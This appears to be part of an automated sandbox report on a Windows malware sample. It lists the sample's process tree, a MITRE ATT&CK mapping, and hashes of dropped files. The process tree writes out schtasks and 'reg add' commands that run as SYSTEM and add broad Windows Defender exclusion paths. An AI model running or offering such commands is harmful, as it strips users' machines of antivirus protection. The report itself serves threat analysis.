C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4632
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4148
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1420
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\blbdaS" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2400 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\blbdaS" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:580
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C:\Windows\system32\cmd.execmd.exe1⤵PID:724
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5832 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:5276
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4480 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:1316
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2448 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3764
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify Tools
1Indicator Removal
1Clear Persistence
1Modify Registry
2System Binary Proxy Execution
1Msiexec
1Replay Monitor
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Downloads
- Path C:\Config.Msi\e59b8d7.rbs
- Size 7KB
- SHA256 c0ac96606dd0930a7486a9bf7c3c9b24a79d445e718682a67cd4a7dc7b17e7e1
- MD5 ef779000fd813c3cc6d0a8101fe3f3d5
- SHA1 e62a477f8c3cb003af83e669cf7cd262422f958f
- SHA512 4a867191dd4f8f678354e2d8320200a3cdf09ad8a3c2c2c8c3b46dd9d75d0c0237a74bc67597ebf44554cb8f9da314b855319b22e0ca28b2549982dd0b1fe05e
- SSDEEP 96:dpQgu0CXpPp8UUmpZd1CsThq9UmpZd1C6jdkUptpPgThqtHnmL5pEiWpnp+p723j:dp1CkzsZdII3sZdIOohRvKpXL
- TLSH T1DDF10E51760086E2E9961B34CF030B6637BBD7E9A301738F09DE56385F523A91FA528E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\blbdaS\8ZMfcp.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\blbdaS\UxEnhance64.dll
- Size 3.1MB
- SHA256 7f631e6c7a381a71da044d5f5d1fef658a521e827923321a467e65bc3f7df193
- MD5 91f485b387ccf78c7602cf983fc81611
- SHA1 6badae12e0ab1d63272cc86089a647c975b57534
- SHA512 35a4f69c7e7d4ffc10abdec21de3b728b71908f356adf20e1db29c24327a14b6d819c11f8b35775e9a29e0cc587a03e091e1b0f011513162e8337fed506ee5d5
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+a:P9m29xx3Tiqt06ox6+z2rNNrKoa
- TLSH T1B5E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\blbdaS\adoresd.dat
- Size 4.8MB
- SHA256 806299c7f27b1af96436c2e02d8c9ec7721fce3f67ad0c88c65f27d3a5605d5d
- MD5 dda0fccfcfc4249b2b21265b5a58d90c
- SHA1 7bb9ae9f2d4f87802af4a96b982ac72b0b37e4b8
- SHA512 8f470de6bef0fb66d76c7d53fbd0ff049c6af7488e47a1f0a07bdd20ba7e9495a8593af557f6e08c043d2d61ad2386d3006ea576f955af8b0b6804a03fc0b45a
- SSDEEP 98304:NuZ630UjjOt6udZuYb7Ad2WAqSFmtNYNF/ltN3fjZgRnXxs:GQDPnORb7AdPEm7Y7ltlVgxs
- TLSH T1BA363339536D9C62DDC7A0F8A49D4596FF683D60FAE2A006B47C1D213015DFB986FE08
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\blbdaS\msadox.tb
- Size 8KB
- SHA256 7ccf86c6a81dd086a9cdcb7b66f8bbf9c8be97bbf70128494d1672a4ca0b6706
- MD5 d3432a47b0d3cc293d61bd1a21d776ea
- SHA1 cb4a47587ccaffb8edb7097188e6dab067e82ef1
- SHA512 d3310524caa98df1cba550bb0c0c528c2b6bdf4f55d995faf758126af782478aa42226710dd4d89e6058dd8d18dda03f0bfdd08be9de2e51791f179d1ef044bd
- SSDEEP 192:mqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:msZqZOXQ3uqvR2Kfzp
- TLSH T17D029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C16B072DD2CE624D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSIC153.tmp
- Size 7.8MB
- SHA256 92941e32b63d89e4ed701dc8de4f57b3050fb8fa8720d686772ad5766da79142
- MD5 43ae667570316185997fca20a8c7195a
- SHA1 4e93a5dceea1db706f93ce345a29e1b2748bb821
- SHA512 7eddca2271728dc3a486dc5b3b84761593709c1d8aaf17256e6764c6a279c275ab7cc7fdc2e90b397917242302e7eebb92572987d8aff02d765459cdc3bba6f0
- SSDEEP 196608:W1x0mI1VyNra3fapU7jIXIsGCDSirx7XcLsYhK3:W1xphs3fapUjIXIs5+irxTuVhQ
- TLSH T13E8633CD3EC976F0D1CBC378E3423A3C7D597B85B1364D0A399468419F22A1A573AB1A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e59b8d6.msi
- Size 7.8MB
- SHA256 960c7eeb349bfc497ef24a254fc7afdd672bf8aab698409512b16c3c62b15e4a
- MD5 9964336c4c07105cf0a49d41b44b6fbe
- SHA1 0a21df0c9cb420d304c238612746c4c2f48d3ebe
- SHA512 22a2f2e060738c14794ca1b53026527a5488dc176746ecba90673735017b27841e49ec3b59764997464472ca312bea9f58553ac38f6990d96e4ace4605ab6cda
- SSDEEP 196608:l1x0mI1VyNra3fapU7jIFIsGCDSirx7XcLsYhKq:l1xphs3fapUjIFIs5+irxTuVhB
- TLSH T1658633CD7EC97BB0D1C7C374E2427A2C7D197F84B6368D0A369478415E32B2A1336A5A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 26.1MB
- SHA256 dbf7a6373ab01dda8cef4c5824a860367ae8d3436412f20f5f6607dad1c99596
- MD5 b91fbe5860eeb9b3d79c0c12b2279de7
- SHA1 5505ba548cdef15155c4561e1b088e4958b791b5
- SHA512 ca9945cbbd61dc4c81cee0c918d76d7816fdc87389dea451978896f4d884adf7d5f323eb36fb2ac6ea05eff6465fec7b1e7f530ed58df7c566012297e97c30e2
- SSDEEP 24576:PFo3DMP4doO/vvTL/yAjDilQP7eJY7Eg0+1xNudb1WtqJESTsIRmD6pin+z:CHI
- TLSH T11457B31436F92200E7B79E3DB8F06A234D397D5BAC15DE8D45511B8E0822F71E872F6A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{c61fa831-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{5b37634b-d649-4b92-bf83-9280573b0572}_OnDiskSnapshotProp
- Size 6KB
- SHA256 c7946e5b4095564a9790a0c2d121495df3d8658b09fff8f2368f2bdd93a58f4a
- MD5 c2663f7e0efa614e823ee9042e46cbdb
- SHA1 09d5bfbacc2a769a0d1111b1789958193c24ad69
- SHA512 a60aba7d1210812cd3a242b89d2102b672fada489783571b290e4db242daf2f52184ea7148ed6463d4995010f11cda84422baad83404895f2f61bd802f04dd0f
- SSDEEP 96:FdItbLvc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpu:TIJb++uVm
- TLSH T1D0D188185AF54711E2B3AB3128F14557A877B951EF33CB8E0198238E2671910F935F6F
- MD5 SHA1 SHA512 SSDEEP TLSH